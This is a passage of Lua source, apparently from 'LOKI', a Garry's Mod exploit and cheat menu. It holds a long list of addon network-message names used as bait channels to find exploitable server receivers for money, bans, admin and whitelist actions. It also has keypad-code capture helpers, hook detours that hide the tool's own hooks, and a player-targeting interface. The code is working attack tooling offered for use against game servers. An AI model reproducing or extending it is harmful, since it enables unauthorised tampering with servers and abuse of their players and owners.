"DarkRP_Defib_ForceSpawn", "FiremanLeave", "CreateEntity", "CREATE_REPORT", "Hopping_Test", "CpForm_Answers", "VehicleUnderglow", "OpenGates", "DemotePlayer", "SendMail", "REPAdminChangeLVL", "BuyUpgradesStuff", "SquadGiveWeapon", "SetTableTarget", "UpdateRPUModelSQL", "disguise", "gportal_rpname_change", "NewRPNameSQL", "chname", "AbilityUse", "race_accept", "NLR_SPAWN", "opr_withdraw", "revival_revive_accept", "BuyFirstTovar", "BuySecondTovar", "MONEY_SYSTEM_GetWeapons", "MCon_Demote_ToServer", "withdrawMoney", "gPrinters.retrieveMoney", "NGII_TakeMoney", "money_clicker_withdraw", "opr_withdraw", "NET_DoPrinterAction", "tickbooksendfine", "withdrawp", "PCAdd", "viv_hl2rp_disp_message", "Kun_SellOil", "gPrinters.sendID", "requestmoneyforvk", "vj_testentity_runtextsd", "NET_BailPlayer", "rpi_trade_end", "ClickerForceSave", "SRequest", "HealButton", "GiveArmor100", "GiveSCP294Cup", "Client_To_Server_OpenEditor", "userAcceptPrestige", "wordenns", "guncraft_removeWorkbench", "BuyKey", "PurchaseWeed", "DoDealerDeliver", "sendDuelInfo", "CreateOrganization", "DisbandOrganization", "ChangeOrgName", "IS_SubmitSID_C2S", "AcceptBailOffer", "CP_Test_Results", "ReSpawn", "FIGHTCLUB_KickPlayer", "IveBeenRDMed", "nCTieUpStart", "DestroyTable", "bringNfreeze", "JoinFirstSS", "unarrestPerson", "inviteToOrganization", "GovStation_SpawnVehicle", "DailyLoginClaim", "DL_AskLogsList", "DL_StartReport", "SpecDM_SendLoadout", "PowerRoundsForcePR", "wyozimc_playply", "SendSteamID", "JB_GiveCubics", "JB_SelectWarden", "RDMReason_Explain", "redirectMsg", "LB_AddBan", "GET_Admin_MSGS", "br_send_pm", "LAWYER.BailFelonOut", "LAWYER.GetBailOut", "GrabMoney", "nox_addpremadepunishment", "HV_AmmoBuy", "TMC_NET_MakePlayerWanted", "thiefnpc", "TMC_NET_FirePlayer", "updateLaws", "LotteryMenu", "soundArrestCommit", "hoverboardpurchase", "SpawnProtection", "NPCShop_BuyItem", "AcceptRequest", "Chess ClientWager", "netOrgVoteInvite_Server", "AskPickupItemInv", "buy_bundle", "MineServer", "Gb_gasstation_BuyGas", "D3A_CreateOrg", "ScannerMenu", "ORG_NewOrg", "passmayorexam", "levelup_useperk", "DeployMask", "RemoveMask", "SwapFilter", "WipeMask", "UseMedkit", "IDInv_RequestBank", "desktopPrinter_Withdraw", "sphys_dupe", "simfphys_gasspill", "dronesrewrite_controldr", "SCP-294Sv", "VC_PlayerReady", "blueatm", "cab_sendmessage", "FARMINGMOD_DROPITEM", "SlotsRemoved", "AirDrops_StartPlacement", "pp_info_send", "IGS.GetPaymentURL", "tickbookpayfine", "ncpstoredoact", "PermwepsNPCSellWeapon", "NET_AM_MakePotion", "minigun_drones_switch", "CW20_PRESET_LOAD", "SBP_addtime", "NetData", "ts_buytitle", "SBP_addtime", "EnterpriseWithdraw", "Chess Top10", "lectureListe", "Warn_CreateWarn", "BuilderXToggleKill", "deathrag_takeitem", "REPPurchase", "Hopping_Test", "REPAdminChangeLVL", "SquadGiveWeapon", "UpdateRPUModelSQL", "gportal_rpname_change", "NewRPNameSQL", "race_accept", "Kun_ZiptieStruggle", "NGII_TakeMoney", "InviteMember", "start_wd_hack", "giveArrestReason", "sellitem", "sv_saveweapons", "NET_CR_TakeStoredMoney", "donatorshop_itemtobuy", "misswd_accept", "ORG_VaultDonate", "Selldatride", "ZED_SpawnCar", "cab_cd_testdrive", "cab_sendmessage", "EliteParty_NoPOpenMenu", "EliteParty_SendPartyChat_ToClient", "EP_CreateParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_ViewParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_CreateParty_ToServer", "EliteParty_EditParty_ToServer", "EliteParty_LeaveParty_ToServer", "EliteParty_RequestInviteList_ToServer", "EliteParty_RequestInviteList_ToClient", "EliteParty_InvitePlayer_ToServer", "EliteParty_InvitePlayer_ToClient", "EliteParty_PartyInvitedAccepted_ToServer", "EliteParty_NewMember_ToClient", "EliteParty_NewMember_ToClient", "EliteParty_RequestJoin_ToServer", "EliteParty_RequestJoin_ToClient", "EliteParty_PartyRequestAccepted_ToServer", "EliteParty_PartyRequestAccepted_ToClient", "EliteParty_KickMember_ToServer", "EliteParty_KickedMember_ToClient", "EliteParty_KickedMember_ToClient", "EliteParty_MakeFounder_ToServer", "EliteParty_MakeFounder_ToClient", "Cuffs_GagPlayer", "Cuffs_BlindPlayer", "Cuffs_FreePlayer", "Cuffs_DragPlayer", "Cuffs_TiePlayers", "Cuffs_UntiePlayers", "xenoexistscl", "xenoexists", "xenoisactivatedcl", "xenoisactivated", "xenoac", "xenoclientfunction", "xenoserverfunction", "xenoactivation", "AddDeathZone", "StartEndGhost", "RemoveCertainZone", "testNet", "RemoveDeathZones", "nlr.notify", "nlr.killEvent", "nlr.RemoveZone", "pnet_Ready", "OpenFpsMenu", "Amethyst_PushNotification", "SendMessageToPlayer", "AmethystMessageSet", "Amethyst_PStats", "Amethyst_DebugAdd", "Amethyst_FetchLogs", "gLevel.buyWeapon", "gLevel.unlockAchievement", "gLevel.unlockAchievement", "gLevel.buySkill", "gLevel.doPrestige", "gLevel.buyAccesory", "gLevel.notifications", "gLevel.syncWeapons", "gLevel.loadWeapons", "gLevel.syncSkills", "gLevel.loadSkills", "gLevel.syncAchievements", "gLevel.loadAchievements", "NetWrapperVar", "NetWrapperRequest", "NetWrapperClear", "NetWrapperClear", "nodium", "_A", "gmhax_ShowUnknownEntity", "_da_", "whk_setart", "DarkRP_spawnPocket", "DuelMessageReturn", "ban_rdm", "dLogsGetCommand", "disguise", "AbilityUse", "give_me_weapon", "FinishContract", "NLR_SPAWN", "Kun_ZiptieStruggle", "NET_SS_DoBuyTakeoff", "ckit_roul_bet", "ply_pick_shit", "MONEY_SYSTEM_GetWeapons", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "_blacksmurf", "echangeinfo", "open_menu", "closebutton_repeat", "sMsgStandard", "sNotifyHit", "sMsgAdmins", "sAlertNotice", "fgtnoafk", "Debug1", "Debug2", "gcontrol_vars", "control_vars", "checksaum", "atlaschat.sndcfg", "atlaschat.gtcfg", "arcphone_atmos_support", "arcphone_comm_status", "arcphone_emerg_numbers", "arcphone_nutscript_number", "ferpHUDSqu", "lolwut", "gotcha", "PrometheusMessages", "PrometheusNotification", "PrometheusPackages", "PrometheusColorChat", "Cl_PrometheusRequest", "PrometheusCustomJob", "GivePlayerAFKWarning", "RemovePlayerAFKWarning", "SyncButtons", "check_if_whitelist_enabled", "enable_whitelist", "add_to_whitelist", "remove_from_whitelist", "disable_whitelist", "clear_whitelist", "get_enabled_whitelist", "get_last_enabled_whitelist", "no_enabled_whitelists", "import_from_nordahl", "import_from_old_bwhitelist", "import_from_mayoz", "enable_all_whitelists", "disable_all_whitelists", "reset_everything", "customcheckerror", "clear_unknown_jobs", "get_all_blacklists", "get_all_permissed", "get_a_enabled", "no_import", "already_exists", "doesnt_exist", "stop_data_flow", "get_blacklisted", "SH_ACC_READY", "SH_ACC_PURCHASE", "SH_ACC_SELL", "SH_ACC_MENU", "SH_ACC_EQUIP", "SH_ACC_EQUIPS", "SH_ACC_CHANGE", "SH_ACC_INV", "SH_ACC_NOTIFY", "SH_ACC_ADJUST", "SH_ACC_ADJUST_RESET", "SH_ACC_REQUEST", "ASayPopup", "SW.nSetWeather", "SW.nRedownloadLightmaps", "ulxqm_reasons", "EZI_GetRankSpace", "gPrinters.rrnow", "gPrinters.retrieveMoney", "R8", "changeToPhysgun", "SetPlayerModel", "PSA.Undertale", "KickMe"}
682LOKI.BAIT_CHANNELS = {}
683LOKI.BAIT_COUNT = 0
684LOKI.BAIT_CHANNELS_FOUND = {}
685LOKI.BAIT_LIMIT = 5
686for k, v in pairs(LOKI.BAIT_UNSORTED) do
687 LOKI.BAIT_CHANNELS[v] = v
688 LOKI.GENERAL_OVERRIDE = true
689 if(LOKI.ValidNetString(v) && LOKI.BAIT_CHANNELS[v]) then
690 LOKI.BAIT_COUNT = LOKI.BAIT_COUNT + 1
691 LOKI.BAIT_CHANNELS_FOUND[v] = v
692 end
693 LOKI.GENERAL_OVERRIDE = false
694end
695LOKI.Freecam = {}
696LOKI.Freecam.Enabled = false
697LOKI.Freecam.ViewOrigin = Vector( 0, 0, 0 )
698LOKI.Freecam.ViewAngle = Angle( 0, 0, 0 )
699LOKI.Freecam.Velocity = Vector( 0, 0, 0 )
700LOKI.Freecam.Data = {}
701function LOKI.Freecam.Toggle(var)
702 LOKI.Freecam.SetView = true
703 LOKI.Freecam.Enabled = var
704end
705function LOKI.Freecam.EyePos()
706 local pos;
707 if(LOKI.Freecam.Enabled == true) then
708 pos = LOKI.Freecam.Data.origin
709 else
710 pos = EyePos()
711 end
712 return pos
713end
714function LOKI.CalculateRenderPos(self)
715 local pos = self:GetPos()
716 pos:Add(self:GetForward() * self:OBBMaxs().x) -- Translate to front
717 pos:Add(self:GetRight() * self:OBBMaxs().y) -- Translate to left
718 pos:Add(self:GetUp() * self:OBBMaxs().z) -- Translate to top
719
720 pos:Add(self:GetForward() * 0.15) -- Pop out of front to stop culling
721
722 return pos
723end
724
725function LOKI.CalculateRenderAng(self)
726 local ang = self:GetAngles()
727 ang:RotateAroundAxis(ang:Right(), -90)
728 ang:RotateAroundAxis(ang:Up(), 90)
729
730 return ang
731end
732function LOKI.CalculateKeypadCursorPos(ply, ent)
733 if !ply:IsValid() then return end
734
735 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
736 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
737
738 local scale = ent.Scale || 0.02
739 if !scale then return 0, 0 end
740
741 local pos, ang = LOKI.CalculateRenderPos(ent), LOKI.CalculateRenderAng(ent)
742 if !pos or !ang then return 0, 0 end
743 local normal = ent:GetForward()
744
745 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
746 if !intersection then return 0, 0 end
747
748 local diff = pos - intersection
749
750 local x = diff:Dot( -ang:Forward() ) / scale
751 local y = diff:Dot( -ang:Right() ) / scale
752
753 return x, y
754end
755local elements = {{x = 0.075, y = 0.04, w = 0.85, h = 0.25,},{x = 0.075, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 + 0.05, h = 0.125, text = "ABORT",},{x = 0.5 + 0.04 / 2 + 0.05, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 - 0.05, h = 0.125, text = "OK",}}
756do for i = 1, 9 do local column = (i - 1) % 3 local row = math.floor((i - 1) / 3) local element = {x = 0.075 + (0.3 * column), y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row), w = 0.25, h = 0.13, text = tostring(i), } elements[#elements + 1] = element end end
757function LOKI.KPGetHoveredElement(ply, ent)
758 local scale = ent.Scale || 0.02
759
760 local w, h = (ent:OBBMaxs().y - ent:OBBMins().y) / scale , (ent:OBBMaxs().z - ent:OBBMins().z) / scale
761 local x, y = LOKI.CalculateKeypadCursorPos(ply, ent)
762
763 for _, element in ipairs(elements) do
764 local element_x = w * element.x
765 local element_y = h * element.y
766 local element_w = w * element.w
767 local element_h = h * element.h
768
769 if element_x < x and element_x + element_w > x and
770 element_y < y and element_y + element_h > y
771 then
772 return element
773 end
774 end
775end
776function LOKI.GetKeypadStatus(kp)
777 if(kp.SendCommand) then
778 return {0, 1, 2}
779 elseif(kp.EnterKey) then
780 return {0, 2, 1}
781 end
782 return {0, 1, 2}
783end
784LOKI.KeypadCodes = LOKI.LAST.KeypadCodes || {}
785LOKI.TempKeypadCodes = LOKI.LAST.TempKeypadCodes || {}
786LOKI.KeypadStatus = LOKI.LAST.KeypadStatus || {}
787LOKI.KeypadText = LOKI.LAST.KeypadText || {}
788LOKI.CommandList = {}
789LOKI.CompleteList = {}
790LOKI.concommand = {}
791LOKI.concommand.Add = function( name, func, completefunc, help, flags )
792 local det_call = LOKI.DetourCall || false
793 LOKI.DetourCall = true
794 local LowerName = string.lower( name )
795 LOKI.CommandList[ LowerName ] = func
796 LOKI.CompleteList[ LowerName ] = completefunc
797 //AddConsoleCommand( name, help, flags )
798 LOKI.DetourCall = det_call
799end
800
801LOKI.NetReceivers = {}
802LOKI.Hooks = {};
803
804gmod.GetGamemode().AcceptInput = function(self, type, name, func)
805 LOKI.Hooks[type] = LOKI.Hooks[type] || {};
806
807 LOKI.Hooks[type][name] = func;
808
809 if(!LOKI.Detours["GAMEMODE"]) then
810 LOKI.Detours["GAMEMODE"] = {};
811 end
812
813 if(!LOKI.Hooks["GAMEMODE"]) then
814 LOKI.Hooks["GAMEMODE"] = {};
815 end
816
817 if(!LOKI.Detours["GAMEMODE"][type]) then
818 LOKI.Detours["GAMEMODE"][type] = self[type];
819 end
820
821 if(LOKI.Detours["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] != self[type]) then
822 LOKI.Detours["GAMEMODE"][type] = self[type];
823 end
824
825 LOKI.Hooks["GAMEMODE"][type] = function(self, ...)
826 if(!LOKI || !LOKI.Detours || LOKI.Unload) then return end
827
828 local ret = nil
829 local args = {}
830
831 if(LOKI.Detours["GAMEMODE"][type]) then
832 args = {LOKI.Detours["GAMEMODE"][type](self, ...)};
833 if(#args != 0) then ret = (unpack(args)); end
834 end
835
836 if(LOKI.Killswitch || !LOKI.Hooks || !LOKI.Hooks[type]) then return ret end
837
838 for k,v in next, LOKI.Hooks[type] do
839 args = {v(ret, ...)};
840 if(#args == 0) then continue; end
841 ret = (unpack(args));
842 end
843
844 return ret
845 end
846
847 self[type] = LOKI.Hooks["GAMEMODE"][type]
848end
849local function hook_Add(eventName, identifier, func)
850 if(LOKI.DetourTables[eventName]) then return end
851 if(!LOKI.Hooks[eventName]) then
852 LOKI.Hooks[eventName] = {}
853 end
854 LOKI.Hooks[eventName][identifier] = func
855 if(LOKI.SecureHooks) then
856 return gmod.GetGamemode():AcceptInput(eventName, identifier, func)
857 else
858 return hook.Add(eventName, identifier, func)
859 end
860end
861//////////////////////////////////////////////- MENU UTILS -////////////////////////////////////////////////
862function LOKI.MakeFunctionButton( parent, x, y, btext, func, tooltip, tab, border)
863 if !parent:IsValid() then return end
864 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
865 TButton:SetParent( parent )
866 TButton:SetPos( x, y )
867 TButton:SetText( btext )
868 TButton:SetTextColor( Color(255, 255, 255, 255) )
869 TButton:SizeToContents()
870 TButton:SetTall( 24 )
871 --if tooltip then TButton:SetToolTip( tooltip ) end
872 TButton.Paint = function( self, w, h )
873 surface.SetDrawColor( Color(60, 60, 60, 200) )
874 surface.DrawRect( 0, 0, w, h )
875 surface.SetDrawColor( Color( 60, 60, 60 ) )
876 surface.SetMaterial( downgrad )
877 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
878 surface.SetDrawColor( Color(100, 100, 100, 255) )
879 surface.DrawOutlinedRect( 0, 0, w, h )
880 if(border) then
881 local enabled = false
882 if(isbool(tab.bool)) then
883 enabled = tab.bool
884 elseif(LOKI.NotNil(tab.bool)) then
885 enabled = func.bools[tab.bool]
886 else
887 enabled = func.bools.enabled
888 end
889 if(enabled) then
890 surface.SetDrawColor( Color(55, 255, 55, 245) )
891 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
892 end
893 end
894 end
895 TButton.DoClick = function()
896 if(!tab) then
897 return func()
898 end
899 if(tab.typ == "func") then
900 local det_call = LOKI.DetourCall || false
901 LOKI.DetourCall = true
902 if(func && func.hooks.Think) then
903 func.hooks.Think(tab.args || {}, func, TButton)
904 end
905 LOKI.DetourCall = det_call
906 elseif(tab.typ == "bool") then
907 local enabled = false
908 if(isbool(tab.bool)) then
909 tab.bool = !tab.bool
910 enabled = tab.bool
911 elseif(LOKI.NotNil(tab.bool)) then
912 func.bools[tab.bool] = !func.bools[tab.bool]
913 enabled = func.bools[tab.bool]
914 else
915 func.bools.enabled = !func.bools.enabled
916 enabled = func.bools.enabled
917 end
918 if(isfunction(tab.callback)) then
919 tab.callback(enabled)
920 end
921 TButton:SetText(!enabled && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop"))
922 if(isfunction(func.OnEnable) && enabled) then
923 if(LOKI.NotNil(tab.bool)) then
924 func.OnEnable(tab.bool, func)
925 else
926 func.OnEnable("enabled", func)
927 end
928 end
929 if(isfunction(func.OnDisable) && !enabled) then
930 if(LOKI.NotNil(tab.bool)) then
931 func.OnDisable(tab.bool, func)
932 else
933 func.OnDisable("enabled", func)
934 end
935 end
936 if(tab.bool && tab.addr) then LOKI.Store(tab.addr, func.bools[tab.bool]) end
937 TButton:SizeToContents()
938 TButton:SetTall(24)
939 end
940 end
941 return TButton:GetWide(), TButton:GetTall()
942end
943function LOKI.OpenTableEditor(Parent, WholeTable, Title, Callback, isSecondTable, Position, Position2, Originaltable)
944 local WholeTablecopy = (table.Copy( WholeTable ) )
945 local TableEditFrame = LOKI.vgui.Create( "DFrame", Parent )
946 TableEditFrame:SetPos( 50, 50 )
947 TableEditFrame:SetSize( 1000, ScrH()/2 )
948 TableEditFrame:SetTitle(Title)
949 TableEditFrame:Center()
950 TableEditFrame:SetVisible( true )
951 TableEditFrame:SetDraggable( true )
952 TableEditFrame:ShowCloseButton( true )
953 TableEditFrame.Paint = function(s, w, h)
954 if(Parent && (!IsValid(Parent) || !LOKI.Menu:IsVisible())) then TableEditFrame:Close() return end
955 surface.SetDrawColor( Color(30, 30, 30, 245) )
956 surface.DrawRect( 0, 0, w, h )
957 end
958 TableEditFrame:MakePopup()
959
960 local vList = LOKI.vgui.Create( "DCategoryList", TableEditFrame )
961 vList.Paint = function() end
962 vList:Dock( FILL )
963
964 for v,k in SortedPairs(WholeTablecopy) do
965
966
967 if TypeID(k) == (TYPE_STRING)then
968 local Value = vList:Add( v .. " (STRING)" )
969 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
970 TextEntry:SetSize( 1000, 25 )
971 TextEntry:SetText( k )
972
973 TextEntry.OnChange = function( self )
974 WholeTablecopy[v] = self:GetValue()
975 end
976 end
977
978 if TypeID(k) == (TYPE_NUMBER)then
979 local Value = vList:Add( v .. " (NUMBER)" )
980 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
981 TextEntry:SetSize( 1000, 25 )
982 TextEntry:SetText( k )
983 TextEntry.OnChange = function( self )
984 WholeTablecopy[v] = tonumber(self:GetValue())
985 end
986 end
987
988 if TypeID(k) == (TYPE_BOOL)then
989 local Value = vList:Add( v .. " (BOOL)")
990 local DComboBox = LOKI.vgui.Create( "DComboBox", vList )
991 --DComboBox:SetPos( 5, 5 )
992 DComboBox:SetSize( 100, 20 )
993 DComboBox:SetValue( tostring(k) )
994 DComboBox:AddChoice( "true" )
995 DComboBox:AddChoice( "false" )
996 DComboBox.OnSelect = function( panel, index, value )
997 WholeTablecopy[v] = tobool(value)
998 end
999 end
1000
1001 if TypeID(k) == (TYPE_VECTOR)then
1002 local vecstring = tostring(k)
1003 local Value = vList:Add( v .. " (VECTOR)")
1004 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1005 TextEntry:SetSize( 1000, 25 )
1006 TextEntry:SetText( vecstring )
1007 TextEntry.OnChange = function( self )
1008 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Vector" )
1009 end
1010 end
1011
1012 if TypeID(k) == (TYPE_ANGLE)then
1013 local vecstring = tostring(k)
1014 local Value = vList:Add( v .. " (ANGLE)")
1015 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1016 TextEntry:SetSize( 1000, 25 )
1017 TextEntry:SetText( vecstring )
1018 TextEntry.OnChange = function( self )
1019 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Angle" )
1020 end
1021 end
1022
1023
1024 if TypeID(k) == (TYPE_TABLE) then
1025 local Value = vList:Add( v.. " (TABLE)" )
1026 if k.r && k["g"] && k["b"] && k["a"] then
1027 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1028 SmallFrame:SetBackgroundColor(Color(200,200,200))
1029 SmallFrame:SetHeight(300)
1030 local Mixer = LOKI.vgui.Create( "DColorMixer", SmallFrame )
1031 Mixer:Dock( LEFT ) --Make Mixer fill place of Frame
1032 Mixer:SetWidth(400)
1033 Mixer:SetHeight(300)
1034 Mixer:SetPalette( true ) --Show/hide the palette DEF:true
1035 Mixer:SetAlphaBar( true ) --Show/hide the alpha bar DEF:true
1036 Mixer:SetWangs( true ) --Show/hide the R G B A indicators DEF:true
1037 Mixer:SetColor( Color( k["r"] , k["g"] , k["b"] , k["a"] ) ) --Set the default color
1038
1039 local DColorButton = LOKI.vgui.Create( "DColorButton", SmallFrame )
1040 DColorButton:Dock( TOP )
1041 DColorButton:SetSize( 50, 50 )
1042 --DColorButton:SetPos( 60, 100 )
1043 DColorButton:SetColor(Mixer:GetColor())
1044
1045 function Mixer:ValueChanged(self, color)
1046 DColorButton:SetColor(Mixer:GetColor())
1047 WholeTablecopy[v] = Mixer:GetColor()
1048 end
1049
1050 else
1051
1052
1053 for t,z in pairs(k) do -- Second Level
1054
1055 if TypeID(z) == (TYPE_STRING)then
1056 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1057
1058 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1059 SmallFrame:SetBackgroundColor(Color(200,200,200))
1060 kList:SetText( " ".. t)
1061 kList:SetColor(Color(0,0,0))
1062 kList:SetPos(20,20)
1063 kList:SetSize(500,25)
1064 kList:Dock(LEFT)
1065
1066 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1067 TextEntry:SetSize( 500, 25 )
1068 TextEntry:Dock(RIGHT)
1069 TextEntry:SetText( z )
1070 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1071 TextEntry.OnChange = function( self )
1072 WholeTablecopy[v][t] = self:GetValue()
1073 end
1074 end
1075
1076
1077 if TypeID(z) == (TYPE_NUMBER) then
1078 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1079 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1080 SmallFrame:SetBackgroundColor(Color(200,200,200))
1081 kList:SetText( " ".. t)
1082 kList:SetColor(Color(0,0,0))
1083 kList:SetPos(20,0)
1084 kList:SetSize(500,25)
1085 kList:Dock(LEFT)
1086
1087 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1088 TextEntry:SetSize( 500, 25 )
1089 TextEntry:Dock(RIGHT)
1090 TextEntry:SetText( z )
1091 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1092 TextEntry.OnChange = function( self )
1093 WholeTablecopy[v][t] = tonumber(self:GetValue())
1094 end
1095 end
1096
1097
1098 if TypeID(z) == TYPE_TABLE then --Third level starts over
1099 --local Value = vList:Add( t )
1100 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1101 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1102 SmallFrame:SetBackgroundColor(Color(200,200,200))
1103 kList:SetText( " ".. t)
1104 --kList:SetText(t)
1105 kList:SetColor(Color(0,0,0))
1106 kList:SetPos(20,0)
1107 kList:SetSize(500,25)
1108 kList:Dock(LEFT)
1109 local DermaButton = LOKI.vgui.Create( "DButton", SmallFrame )
1110 DermaButton:SetText( t.." (Table)")
1111 DermaButton:SetPos( DermaButton:GetSize() - 600, 0 )
1112 DermaButton:SetSize(500,25)
1113 DermaButton:Dock(RIGHT)
1114 DermaButton.DoClick = function()
1115 LOKI.OpenTableEditor(TableEditFrame, WholeTablecopy[v][t], Title, nil, true, v, t, WholeTablecopy)
1116 end
1117 end
1118 end
1119
1120 end
1121 end
1122 end
1123
1124 TableEditFrame.OnClose = function()
1125 if isSecondTable then
1126 local tablecopy = WholeTable
1127 table.Merge(Originaltable[Position][Position2], WholeTablecopy)
1128 else
1129 local tablecopy = table.DeSanitise(WholeTablecopy)
1130 table.Merge(WholeTable,tablecopy)
1131 if(isfunction(Callback)) then
1132 Callback(WholeTable)
1133 end
1134 end
1135 end
1136end
1137function LOKI.MakeEntitySelectionButton( parent, tbl, x, y, tab, single )
1138 if !parent:IsValid() then return end
1139 if(isfunction(tbl)) then
1140 tbl = tbl()
1141 end
1142 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
1143 TButton:SetParent( parent )
1144 TButton:SetPos( x, y )
1145 TButton:SetText( tab.Name || "Choose Target" .. (single && "" || "s") )
1146 TButton:SetTextColor( Color(255, 255, 255, 255) )
1147 TButton:SizeToContents()
1148 TButton:SetTall( 24 )
1149 TButton.Paint = function( self, w, h )
1150 surface.SetDrawColor( Color(60, 60, 90, 200) )
1151 surface.DrawRect( 0, 0, w, h )
1152 surface.SetDrawColor( Color( 60, 60, 60 ) )
1153 surface.SetMaterial( downgrad )
1154 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1155 surface.SetDrawColor( Color(100, 100, 100, 255) )
1156 surface.DrawOutlinedRect( 0, 0, w, h )
1157 surface.SetDrawColor( Color(70, 70, 100, 255) )
1158 surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
1159 end
1160 TButton.DoClick = function()
1161 LOKI.SelectEntityPanel( parent, tbl, tab, single )
1162 end
1163 return TButton:GetWide(), TButton:GetTall()
1164end
1165function LOKI.SelectEntityPanel( parent, tbl, tab, single )
1166 if LOKI.EntitySelector and LOKI.EntitySelector:IsVisible() then LOKI.EntitySelector:Remove() end
1167 local plytab = LOKI.GetStored( tab.addr, {}, true )
1168 if(!istable(plytab)) then plytab = {plytab} end
1169 LOKI.EntitySelector = LOKI.vgui.Create("DFrame", parent)
1170 LOKI.EntitySelector:SetPaintedManually(true)
1171 LOKI.EntitySelector:SetSize(250,400)
1172 LOKI.EntitySelector:SetTitle("Select "..tab.typ.." to target")
1173 LOKI.EntitySelector:SetPos( gui.MouseX(), gui.MouseY() )
1174 LOKI.EntitySelector:MakePopup()
1175 LOKI.EntitySelector.Paint = function( s, w, h )
1176 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1177 surface.SetDrawColor( Color(30, 30, 30, 245) )
1178 surface.DrawRect( 0, 0, w, h )
1179 surface.SetDrawColor( Color(55, 55, 55, 245) )
1180 surface.DrawOutlinedRect( 0, 0, w, h )
1181 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1182 end
1183 local Plist = LOKI.vgui.Create( "DPanelList", LOKI.EntitySelector )
1184 Plist:SetSize( LOKI.EntitySelector:GetWide() - 10, LOKI.EntitySelector:GetTall() - 55 )
1185 Plist:SetPadding( 5 )
1186 Plist:SetSpacing( 5 )
1187 Plist:EnableHorizontal( false )
1188 Plist:EnableVerticalScrollbar( true )
1189 if(tab.nostore) then
1190 Plist:SetPos( 5, 20 )
1191 else
1192 Plist:SetPos( 5, 40 )
1193 end
1194 Plist:SetName( "" )
1195 local x, y = 10, 23
1196 if(!tab.nostore) then
1197 if(!single) then
1198 local target1 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1199 target1:SetSize( 25, 20 )
1200 target1:SetPos( x, 23 )
1201 x = x + target1:GetSize()
1202 target1:SetText("All")
1203 target1:SetTextColor(Color(255, 255, 255, 255))
1204 target1.Paint = function(panel, w, h)
1205 surface.SetDrawColor(100, 100, 100 ,255)
1206 surface.DrawOutlinedRect(0, 0, w, h)
1207 surface.SetDrawColor(0, 0, 50 ,155)
1208 surface.DrawRect(0, 0, w, h)
1209 end
1210 target1.DoClick = function()
1211 for _, p in ipairs(tbl) do
1212 if not table.HasValue( plytab, p ) then
1213 table.insert( plytab, p )
1214 end
1215 end
1216 LOKI.Store( tab, plytab )
1217 end
1218 end
1219 local target2 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1220 target2:SetSize( 40, 20 )
1221 target2:SetPos( x, 23 )
1222 x = x + target2:GetSize()
1223 target2:SetText("None")
1224 target2:SetTextColor(Color(255, 255, 255, 255))
1225 target2.Paint = function(panel, w, h)
1226 surface.SetDrawColor(100, 100, 100 ,255)
1227 surface.DrawOutlinedRect(0, 0, w, h)
1228 surface.SetDrawColor(0, 0, 50 ,155)
1229 surface.DrawRect(0, 0, w, h)
1230 end
1231 target2.DoClick = function()
1232 table.Empty(plytab)
1233 if(single) then
1234 LOKI.Store( tab, plytab[1] )
1235 else
1236 LOKI.Store( tab, plytab )
1237 end
1238 end
1239 if(type(tbl[1]) == "Player") then
1240 local target3 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1241 target3:SetSize( 30, 20 )
1242 target3:SetPos( x, 23 )
1243 x = x + target3:GetSize()
1244 target3:SetText("Me")
1245 target3:SetTextColor(Color(255, 255, 255, 255))
1246 target3.Paint = function(panel, w, h)
1247 surface.SetDrawColor(100, 100, 100 ,255)
1248 surface.DrawOutlinedRect(0, 0, w, h)
1249 surface.SetDrawColor(0, 0, 50 ,155)
1250 surface.DrawRect(0, 0, w, h)
1251 end
1252 target3.DoClick = function()
1253 table.Empty(plytab)
1254 plytab[1] = LOKI.GetLP()
1255 if(single) then
1256 LOKI.Store( tab, plytab[1] )
1257 else
1258 LOKI.Store( tab, plytab )
1259 end
1260 end
1261 end
1262 if(!single && type(tbl[1]) == "Player") then
1263 local target4 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1264 target4:SetSize( 50, 20 )
1265 target4:SetPos( x, 23 )
1266 x = x + target4:GetSize()
1267 target4:SetText("Whitelist")
1268 target4:SetTextColor(Color(255, 255, 255, 255))
